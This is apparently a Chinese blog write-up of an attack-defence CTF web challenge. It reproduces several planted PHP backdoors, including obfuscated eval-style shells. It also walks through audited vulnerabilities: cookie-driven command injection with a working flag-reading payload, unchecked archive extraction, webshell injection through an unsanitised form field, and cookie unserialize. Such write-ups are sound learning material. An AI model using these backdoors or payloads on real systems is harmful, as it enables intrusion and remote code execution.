louys louys

赛马场总结

in web相关read (260) 文章转载请注明来源!

前言

这次web1交了一天的智商税,没发现用户密码写在纸上,花了一天来研究怎么进入sso,最后等反应过来已经被打到最后了。。。

web2

web2发下来一扫,就感觉要凉。

大家可以感受一下主办方的恶意

    call_user_func($_GET['hs'],$_POST[evil]);
    @eval($_POST['hs']);
    $array[0]['hs']($_POST['c014']);
    ($_=@$_GET['hs']).@$_($_POST['c014']);

然而直接的后门还远远不止这几个,在找反序列化的魔术方法时,我又看到了奇妙的东西。

$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++; 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;

$_=$$____;
$___($_['test']);

然后,晚上回去以后

$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

没错,光找到的后门就尼玛有6个,还有一些可能还隐藏在代码中。。

在现场就光补这些后门了,等晚上回去以后,大佬们就开始审计,找出来了一坨洞。

1.反引号

    if(in_array($tmp,range(1,3)) && strlen($tmp) < 15){
        echo `the number is $tmp`; ///louys
    }

这里有一个藏得很深的命令执行

$tmp = $_COOKIE['tmp_number'];

tmp变量是从cookie中取出来的

if(strpos($tmp, ' ') != NULL){
        $tmp = 1;
    }

中间不能有空格,当时审计的时候,就是因为strlen($tmp) < 15`这句话才觉得这里有问题.

按理说in_array($tmp,range(1,3))这里应该只有一个字符的长度,但是又要求小于15个长度,十分诡异。

稍微试了一下,in_array有弱类型转化的问题,可以通过1xxx这样的形式绕过,于是问题的关键就在于构造出小于15字符长的payload了,其中空格可以通过$IFS来绕过。

比较麻烦的是cat加上绕过in_array需要两个字符,再加上$IFS,长度所剩无几了,而且flag在/opt/flag比较尴尬,一度感觉要用hitcon的姿势了。结果稍微构造了一下还是满足了条件1|cat$IFS/o*/*,这个洞一开始能打蛮多人的。

2.解压缩问题

if (isset($_POST ['submit'])) {
    //If no file has been sent.
    if (!$_FILES ['sendfile'])
        echo $lang['general']['upload_failed'];

    else {
        //Some data
        $dir = 'data/modules'; //Where we will save and extract the file.
        $maxfilesize = 2000000; //Max size of file.
        $filename = $_FILES ['sendfile'] ['name']; //Determine filename.

        //Check if we're dealing with a file with tar.gz in filename.
        if (!strpos($filename, '.tar.gz') && !strpos($filename, '.zip'))
            show_error($lang['general']['not_valid_file'], 1);

        else {
            //Check if file isn't too big.
            if ($_FILES['sendfile']['size'] > $maxfilesize)
                show_error($lang['modules_install']['too_big'], 1);

            else {
                //Save module-file.
                copy($_FILES['sendfile']['tmp_name'], $dir.'/'.$filename) or die ($lang['general']['upload_failed']);

                if (strpos($filename, '.tar.gz')) {
                    //Then load the library for extracting the tar.gz-file.
                    require_once ('data/inc/lib/tarlib.class.php');

                    //Load the tarfile.
                    $tar = new TarLib($dir.'/'.$filename);

                    //And extract it.
                    $tar->Extract(FULL_ARCHIVE, $dir);////louys
                    //After extraction: delete the tar.gz-file.
                    unlink($dir.'/'.$filename);
                    $dirtocreate = str_replace('.tar.gz', '', $filename);
                }

代码里面还是挺清楚的,.tar.gz和.zip会被直接解压缩在data/modules目录下面,由于没有检查压缩包的内容,所以这里是可以直接解压缩出php文件的。

类似的逻辑在themeinstall.php里面也有,不过比较奇怪的是第二天没打到多少队伍,估计是文件夹权限被人搅屎了,写不进去。。。

3.写php file

在functions.admin.php里面的save_page函数里面

//Save the title, content and hidden status.
    $data = '<?php'."\n"
    .'$title = \''.sanitize($title).'\';'."\n"
    .'$seoname = \''.sanitize($seo_title).'\';'."\n"
    .'$content = \''.sanitize($content, true).'\';'."\n"
    .'$hidden = \''.$hidden.'\';'; /////louys

    //Save the description and keywords, if any.
    if ($description != null)
        $data .= "\n".'$description = \''.sanitize($description).'\';';
    if ($keywords != null)
        $data .= "\n".'$keywords = \''.sanitize($keywords).'\';';

    //If modules have supplied additional data, save it.
    if ($module_additional_data != null && is_array($module_additional_data)) {
        foreach ($module_additional_data as $var => $value) {
            $data .= "\n".'$'.$var.' = \''.$value.'\';';
        }
    }

    $data .= "\n".'?>';

这里有一个写php操作,注意到hidden这里没有进行sanitize。

在调用save_page函数的时候

if (isset($_GET['page'])) {
            $seoname = save_page($title, htmlspeicalchars($_POST['content']), $_POST['hidden'], $_POST['sub_page'], $_POST['description'], $_POST['keywords'], $module_additional_data, $_GET['page']);
        } else {
        //If we are creating a new page, don't pass seo-name.
            $seoname = save_page($title, htmlspecialchars($_POST['content']), $_POST['hidden'], $_POST['sub_page'], $_POST['description'], $_POST['keywords'], $module_additional_data);
        }

发现hidden就是从post里面去的,闭合单引号后可以写入一句话。

4.另外

还有三个上传的地方,结合upload.php这里

<?php
spl_autoload_register();///louys
$filenames = isset($_COOKIE["filenames"]) ? unserialize($_COOKIE["filenames"]) : [];
?>

spl_autoload_register函数会自动注册类的,具体参考,通过上传我们可以在同目录下写入inc文件,即可触发。

总决赛以后第一次和国内前十战队的大佬正面刚,压力真心大。而且这个web的洞多的不行,工具扫完就感觉凉了,千疮百孔。还好晚上回去,逊师傅,越师傅压场,写了N个exp第二天才勉强稳住。

虽然实际使用的时候,由于种种原因,打不了几个,但是单从代码审计的角度来看,两个师傅找到的都是高质量的洞。

jrotty WeChat Pay

微信打赏

jrotty Alipay

支付宝打赏

文章二维码

扫描二维码,在手机上阅读!

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
前篇 后篇
雷姆
拉姆